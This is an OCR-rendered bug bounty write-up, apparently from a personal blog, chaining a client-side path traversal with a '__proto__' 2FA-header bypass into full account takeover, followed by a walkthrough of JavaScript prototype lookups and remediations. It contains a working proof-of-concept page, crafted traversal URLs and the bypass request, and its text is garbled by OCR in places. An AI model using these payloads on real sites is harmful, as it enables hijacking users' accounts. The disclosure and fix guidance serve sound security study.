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One bug rarely gets you all the way. This one did - but not the way | planned. A Client-Side Path
Traversal (CSPT) in the front-end’s URL builder let me turn a team-invite link feature into an
arbitrary PUT and DELETE against any APl endpoint, which is enough to rewrite a victim’'s email
address using /api/v2/user , then reset the password, and sign in. That should have been the end of
it. But the target had SMS-based 2FA enabled, every trick | knew bounced, and | sat with a working
takeover | couldn't finish. More about how I bypassed it and built the full attack chain in this
writeup.

Primitive The CSPT

While doing recon on a bug bounty target, | ran gau and noticed the account settings page had a
URL with an action=team-invite parameter. It looked interesting to me, when | visited it sent
authenticated PUT request

https://redacted/account/settings?action=team-invite&method=1&inviteld=123&team|d=8926641
Which results in:

PUT /api/v2/teams/8926641/invites/123 HTTP/1.1
Host: redacted

Cookie: ...
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For more context, | jumped to the Initiator tab in Chrome DevTools to see the call stack. Walking it
backward led to the bundle at /static/js/main.0678a7911f9e7ea0257c.js . Using the debugger, | found

that handleTeaminvite was the handler stitching the URL together:
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9123 ~Request call stack
{anonymous) @ main.@678a79..15:33
Promise.then
bm @ main.@678a79..15:33
{anonymous) @ main, 8678379, j5:33
{anonymous ) @ main.@678a79... 5:33
{anonymous ) @ main.P678a79.,j5:33
{anonymous) @ main.@678a79...15:33
1 @ [ain.8678a79...j5:14

Zo.a. invokeGuardedCallback @ main.8678a79..js:14

i @ main, 8678379,

d @ main.@678a79..i5:14
m @ main,0678a7%..j5:14
© @ main.8678579...j5:14
t @ main.B578379...5:14
processEventQueue @ main.8678a79...

e @ main.@678a79...j5:28
handleToplevel @ main.@678a79..j5:28
G @ main.8678a79...75:30
perform @ main.@678a79_.75:15
batchedUpdates @ main.P678a79..75:38
f @ main s J 5513
dispatchEvent @ main.@678a79._.js:30
{anonymous) @ main.8678a79... 15:33

Callstack

That place didn't had any validation and all params passed from query params was passed to URL

concatenation
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Sourceinviteld and teamld are read straight off URLSearchParams. No allowlist, no normalisation, no

check for path separators.

The handler reads method, inviteld, and teamld from

two downstream builders:
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InjectionBoth the PUT and DELETE all APl methods was vulnerable



Stripped down, both the PUT and DELETE builders end up doing this:
url: "/api/v2/teams/" + teamld + "/invites/" + inviteld

Given teamld=../../../api/v2/user%3femail=attacker%40example.com%26a=a and inviteld=../, the
concatenation collapses to:

/api/v2/teams/../../../api/v2/user?email=attacker@example.com&a=a/invites/../
...which the browser normalises to:
/api/v2/user?email=attacker@example.com&a=a/invites/../

The trailing /invites/../ is harmless padding - it's cleaned up by URL normalisation. The method
stays PUT. The body is empty. And thanks god, the server happily accepts query-string parameters
as the user profile patch request params.

PoC Triggering the email change

The attacker hosts a minimal page that opens a new tab at the crafted URL under the victim's
authenticated session:



<ldoctype html>
<html lang="en">
<head>
<meta charset="utf-8" />
<title>Account Takeover PoC</title>
</head>
<body>
<input id="email" type="email" placeholder="new victim email" />

<button onclick="run()">change victim email</button>

<script>
function run() {
const { value } = document.getElementByld('email’);
const url =
'https://redacted/account/settings' +
"?action=team-invite' +
'‘&method=1"+
'&inviteld=../" +
'‘&teamld=../../../api/v2/user%3femail=" + encodeURIComponent(value) +
'%26a=a";
window.open(url, '_blank').blur();
}
</script>
</body>
</html>

Parameters to notice:

e method=1 is the front-end'’s internal token for PUT. method=2 switches the builder to DELETE,
which is working the same but on endpoints DELETE /api/v2/* .

e teamld is where the payload lives. %3f is ?, %26 is & - both encoded so the initial
URLSearchParams.get('teamld') returns the literal string, and the second parse (when the browser
issues the request) treats them as URL separators.

e &a=a isfiller to park the trailing sinvites/../ suffix in an ignored query param.

When the victim visits PoC script it sends the following PUT request:
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Successful PoCPUT /api/v2/user?email=attacker@wearehackerone.com returns 200 OK. The query string

was accepted as a profile patch request body.

| thought from here the rest would be mechanical: the attacker owns the account’s email, triggers
a password reset to their own inbox, sets a new password, and signs in.

Wall The 2FA wall

Happy to have a working account takeover, | went to sign in to my test account to confirm the

chain end-to-end. The password went through, but instead of a session the server came back with

a 2FA prompt. GG...

@ Cancel & [l % Burp Al

Request

Pretty  Raw  Hax a @ wn =
1 POST fapi/v2/auth/login HTTP/2

2 Host:

3 Cache-Control: max-age=0

4 Sec-Ch-Ua-Mobile: 7@

5 Sec-Ch-Ua-Platform: "macOs”

6 Accept-Language: en-US;g=8.9,en;q=0.8

User-Agent: Mozilla/5.@

Accept:

text/html, application/xhtml+xml,application/xml;q=0.9, image/avif, image/webp, imag
efapng,*/*;q=0.8,application/signed-exchange; v=b3;q=0.7

Sec-Fetch-Site: none

18 Sec-Fetch-Mode: navigate

11 Sec-Fetch-User: 71

Sec-Fetch-Dest: document

Accept-Encoding: gzip, deflate, br
X-2fa-Code: 1234 F
Content-Type: applicdtion/json

Content-Length: 62

@

o

invalid code

18 {
“email":“whoareme@wearehackerone. con”,
"password" :"9PG2yHSNZWTUSLTiYUZX"

Response

Pretty

oW s W

@~

13
14
15
16
17
18

28
21

Raw Hex Render

HTTP/2 481 Unauthorized

Alt-5vc: h3=":443"; ma=B642@

Cache-Control: no-store, max-age=@, no-transform

Cf-Cache-Status: DYNAMIC

Cf-Ray: 8202bcde%e2611a@-5]C

Content-Type: application/json; charset=utf-8

Date:

Etag: W/"cl-SqFbeqyPpBMFQEdHEDLIqQpYCYbw"

Nel: {"success_fraction":8,"report_to":"cf-nel", "max_age":604800}
Priority: u=0,i

Referrer-Policy: strict-origin-when-cross-origin

Report-To:
{"group’

cf-nel”, "max_age" :604800, "endpoints" ttps://a.nel.cloudflare

Server=Timing: cfExtPri

Strict-Transport-Security: max-age=63872000; includeSubDomains; prelead
X=-Content-Type-0ptions: nosniff

X-Frame-Options: SAMEORIGIN

X-Powered-By: Express

X-Request-Id: bfdbBbedd7aflsal

X-Xss-Protection: 1; mode=block

Content-Length: 193

224

“error':{

"authentication_errer”,
"auth.code_invalid",
"message":
"The verification code you entered is invalid or has expired.",
"status":401,
"timestamp":" g

Invalid codeX-2FA-Code: 1234 401 - auth.code_invalid



| tried many different techniques to sign-in but every one of them came back with auth.code_invalid
error. At this point | had a working account takeover | couldn't finish.

When you found
account takeover

vulnerability but can’t
bypass 2FA

A few meditating a bit on this problem | had idea to try Prototype Pollution attack vectors, since
the server was using Express.js . But non of them worked too. Then | though what if we try to use
just try paste __proto__ into X-2FA-Code, | sent the request, and got a session token back!

m & Cancel on gl * Burp Al

Request Response ==

Pretty Faw Hex ® B8 w = Pty Raw Hex Fender m @8 wn =

1 POST /api/v2/fauth/login HTTP/2 1 HTTP/2 200 OK

2 Host: 2 Alt-Swvc: h3=":443"; ma=86480

3 Cache-Control: max-age=@ 3 Cache-Control: no-store, max-age=8, no-transform

4 Sec-Ch-Ua-Mobile: 70 4 Cf-Cache-Status: DYNAMIC

5 Sec-Ch-Ua-Platform: "macQS" 5 Cf-Ray: 850ef5429c321F00-NRT

6 Accept-Language: en-US;q=0.9,en;q=0.8 6 Content-Type: application/json; charset=utf-8

7 User-Agent: Mozilla/5.8 7 Date;

& Accept: & Etag: W/"d@-UKyNGzaGmyz4VeqTX]c4EMLuDVY"
text/html, application/xhtml+xml,application/xml;q=0.9, image/avif, image/webp,imag 9 MNel: {"success_fraction":®,"report_to":"cf-nel”,"max_age":684800}
e/apng,x/*;q=08.8,application/signed-exchange;v=b3;q=0.7 18 Priority: u=8,1

9 Sec-Fetch-Site: none 11 Referrer-Policy: strict-origin-when—cross—origin

10 Sec-Fetch-Mode: navigate 12 Report-To:

11 Sec-Fetch-User: 71

7 {"group":"cf-nel”, "max_age" :604808,"endpoints”: [{"url":"https://a.nel.clovdflare
12 Sec-Fetch-Dest: document 1
Accept-Encoding: gzip, deflate, br

14 X-2fa-Code: _ proto__

w

15 Content-Type: application/json 13
16 Content-Length: 73 14 o
17 15 Strict-Transport-Security: max-age=63872008; includeSubDomains; preload
18 { 16 X-Content-Type—Options: nosniff
"email":"whoareme@wearehackerone. con”, 17 X-Frame-Options: SAMEORIGIN
"password" :"9PG2yHsNZWTUSL7iYUZX" 18 X-Powered-By: Express
]-l 19 X-Request-Id: 152fec699fb264cE

28 X-Xss-Protection: 1; mode=block
21 Content-Length: 208

22

23 {
"accessToken":"adal61c7756daBd13eBf58f0d57b%af528098e6d7598 fdec”,
"tokenType":"Bearer",
"expiresIn":36688,
"refreshToken™:"46a2cc@bl3ch595187f5f1098beebfa2cceabd507675bacs”,
"issuedAt":" "

}

BypassX-2FA-Code: proto 200 OK, accessToken issued. No valid code was ever sent.



Why But why _proto_ can bypass the check?

Using a black-box method | reproduced the same behaviour locally. From there | could continue
investigating. This is not prototype pollution - nothing on the server is mutated. It's a read-side
issue: a plain JavaScript object used as a lookup table, a gate of if (objlkey]) , and every key that lives
on Object.prototype resolving truthy - no matter what the developer stored.

the walkthrough below steps through the vulnerable pattern, what [[Get]] returns when the chain
walk resolves an inherited name, and the four ways to make it stop.

step 01

the vulnerable 2fa route

i belive the backend looked something like this.

server.js

const pendingCodes = {}; //{"482916": userld }

// issue otp

function issueOTP(userld) {
const code = generateRandoméDigit();
pendingCodes[code] = userld;
sendSMS(userld, code);

}

// verify otp
app.post('/api/v2/auth/login’, (req, res) => {
const code = req.header('X-2FA-Code");

if (pendingCodes[code]) { // vulnerability
const userld = pendingCodes[code];
grantSession(userld, res);
}else {
res.status(401).json({ error: 'invalid code' });
}
i

pendingCodes[code] invokes the ordinary [[Get]] algorithm, which walks the prototype chain - not just
own keys

step 02

the attack request



the attacker sends _ proto__ as the X-2FA-Code header value.

request

POST /api/v2/auth/login HTTP/1.1
Host: target.com

Content-Type: application/json
X-2FA-Code: __proto__

single request, no valid otp required

Normal flow

X-2FA-Code: 482916

pendingCodes["482916"]
// ->"user_abc" (truthy)

// ->session granted to user_abc
attacker

X-2FA-Code: __proto__

pendingCodes["__proto__
// -> Object.prototype (truthy)

// ->auth check passes

auth check bypassed, no valid otp required

step 03

inherited properties on every object

every plain object inherits from Object.prototype. the keys below exist on {} even when the
developer set nothing - and each resolves to a truthy value.

node repl

> Object.getOwnPropertyNames(Object.prototype)



[
'constructor’,
' defineGetter_ ',
' _defineSetter_',
'hasOwnProperty’,
'_lookupGetter__',
'_lookupSetter_ ',
'isPrototypeOf’,
'propertylsEnumerable’,
'toString’,
'valueOf',
'_proto_,

'toLocaleString'

the 12 own properties defined on %Object.prototype% ecma262 (spec §20.1.3)
step 04

how (et walks the prototype chain

pendingCodes[code] is @ MemberExpression. at runtime it evaluates the ordinary [[Get]] algorithm
defined by ecmascript.

ecma-262 810.1.8.1

10.1.8.1 OrdinaryGet ( O, P, Receiver)

The abstract operation OrdinaryGet takes arguments O (an Object), P (a property key), and Receiver (an
ECMAScript language value) and returns either a normal completion containing an ECMAScript language
value or a throw completion. It performs the following steps when called:

1. Let desc be ? 0.[[GetOwnProperty]](P).

2. If desc is undefined, then
a. Let parent be ? O.[[GetPrototypeOf]]().
b. If parent is null, return undefined. the walk
c. Return ? parent.[[Get]l(P, Receiver).

3. If IsDataDescriptor(desc) is true, return desc.[[Value]].

4, Assert: IsAccessorDescriptor(desc) is true.

5. Let getter be desc.[[Get]].

6. If getter is undefined, return undefined.

7. Return ? Call(getter, Receiver).

step 2c is the prototype walk - it just climbs until the chain ends
lookup chain

lookuppendingCodes["proto"]



step 1 O.[[GetOwnProperty]]("proto") -> undefined

pendingCodes{ "482916": "user_abc", "719304": "user_xyz" }

step 2a-c parent = [[GetPrototypeOf]]() -> parent.[[Get]](P, Receiver)
Object.prototype{ constructor, toString, proto, ... }

step 4-7 proto is accessor -> Call(getter, Receiver=pendingCodes)
returnpendingCodes.[[GetPrototypeOf]]() = Object.prototype (object, truthy)
js runtime back in the auth check

gateif (Object.prototype) -> true -> session granted

the check passes because Object.prototype is truthy, not because the otp is valid

proof

const pendingCodes = {};

pendingCodes["__proto_"]
// -> {} (Object.prototype) - truthy

pendingCodes["toString"]
// -> [Function: toString] - truthy

pendingCodes["constructor"]

// -> [Function: Object] - truthy

l'lpendingCodes["__proto_ "]
//->true (what the if() evaluates)

step 05

fixes that aren't fixes

three common "fixes" look safer but still walk the chain: in, Reflect.has, and !== undefined . all
delegate to the same recursive algorithms: [[Get]] or [[HasPropertyl] .

still vulnerable

// all three reduce to [[Get]] or [[HasProperty]] on the prototype chain:
if (code in pendingCodes) {..} //813.10.1 -> [[HasProperty]]
if (Reflect.has(pendingCodes, code)) {...} //828.1.8 -> [[HasProperty]]

if (pendingCodes[code] !== undefined){ ...} // -> [[Get]]

// payload = "toString" still passes every one of them.



ecma-262 810.1.7.1

10.1.7.1 OrdinaryHasProperty (0, P)

The abstract operation OrdinaryHasProperty takes arguments O (an Object) and P (a property key) and
returns either a normal completion containing a Boolean or a throw completion. It performs the following
steps when called:

1. Let hasOwn be ? 0.[[GetOwnProperty]l(P).

2. If hasOwn is not undefined, return true.

3. Let parent be ? 0.[[GetPrototypeOf]](.

4. 1f parent is not null, then / same patte rn
1(P).

a. Return ? parent.[[HasProperty]
5. Return false.

in (813.10.1) and Reflect.has (828.1.8) both reduce to [[HasProperty]] - which recurses at step 4,
identically to [[Get]]

step 06

impact and variants

the same primitive applies wherever a plain object is used as a lookup with a truthy check -
session stores, rate limiters, authorization gates.

proof - array lookup



const pendingCodes = [];

// arrays inherit from Array.prototype -> Object.prototype,

// so the same keys resolve to truthy values on any [] too.

pendingCodes["__proto_ "]
//-> [] (Array.prototype) - truthy

pendingCodes["constructor"]

// -> [Function: Array] - truthy

pendingCodes["toString"]
// -> [Function: toString] - truthy

pendingCodes["'map"]
// -> [Function: map] - truthy (Array.prototype method)

pendingCodes["filter"]
// -> [Function: filter] - truthy (Array.prototype method)

pendingCodes["length"]

//-> 0 - falsy (own property on empty array)

// but once the array has items, length is truthy too:
// [1]["length"] -> 1 - truthy

other vulnerable patterns

// session store
const SESSIONS = {};
if (SESSIONS[token]) { ... }

// -> Authorization: toString

// rate limiter

const attempts = {};

if (attempts[ip]) { ... }

// -> X-Forwarded-For: _proto__

// feature flag
const flags = {};
if (flagsiname]) { ... }

// -> ?feature=constructor



step 07

remediation
if you for some reason need a plain object as a lookup table, here are four approaches. each either

keeps the read on the own slot (fix 1, 4) or removes the prototype chain entirely (fix 2, 3)

fix 1 - Object.hasOwn (ES2022)

app.-post('/api/v2/auth/login’, (req, res) => {
const code = req.header('X-2FA-Code");

if (Object.hasOwn(pendingCodes, code)) {  //820.1.2.14->§7.3.12
grantSession(pendingCodes[code], res);
}
i

checks only own properties - inherited keys ignored. Object.hasOwn exists precisely because
obj.hasOwnProperty is shadowable

fix 2 - null-prototype object

const pendingCodes = Object.create(null); //§70.1.12 -> [[Prototype]] = null

pendingCodes["__proto_"] //undefined
pendingCodes["toString"]  // undefined

pendingCodes["constructor"] // undefined

no prototype means no inherited properties to resolve - and no toString, so watch out for coercion sites

fix 3 - Map
const pendingCodes = new Map(); //824.1.3 -> [[MapData]] slot
pendingCodes.set(code, userld);

pendingCodes.has(code); // iterates [[MapData]], no [[Get]] at all
pendingCodes.get(code); //no prototype chain

Map.has and Map.get iterate the [[MapData]] slot, never [[Get]]

fix 4 - Proxy with own-only traps



const pendingCodes = new Proxy({}, {

has(t, k) { return Object.hasOwn(t, k); },

get(t, k, r) { return Object.hasOwn(t, k) ? Reflect.get(t, k, r) : undefined; },
N

// 810.5: the proxy handlers intercept [[Get]] and [[HasProperty]] before
// OrdinaryGet / OrdinaryHasProperty would run, so inherited keys are

// filtered out at the boundary and the chain is never consulted.

intercepts [[Get]] and [[HasProperty]] atthe boundary - valid for hardening an existing store without
replacing the data structure

all four keep the lookup off the prototype chain

Chain How the two primitives compose

Each bug alone is bounded. The CSPT can't set a password directly - only patch the profile - but
that's enough to move the victim's email to one the attacker owns. The 2FA bypass, alone, still
needs a valid username and password. Stacked, the gap closes:

e CSPT rewrites the victim’'s email to one the attacker owns.

e Password reset on the service does the work from there - the reset link arrives in the attacker’s
inbox and the attacker picks the new password.

e Prototype-chain 2FA bypass clears the last gate when the attacker tries to sign in with the
password they just set.

The victim only needs to load the attacker’s page.

Impact Impact

Full account takeover on page load. Any authenticated victim who opens the PoC has their
primary email replaced under their own session. Every signed-in user is a one-click target.

2FA bypass. Sending __proto__ as the 2FA code skips the check entirely and allows attacker to gain
a session - what leads to full access to account.

Bounty: $15,000

Archived from https://whoareme.com/blog/cspt-account-takeover-2fa-bypass/. Rendered offline from the local
Markdown copy.
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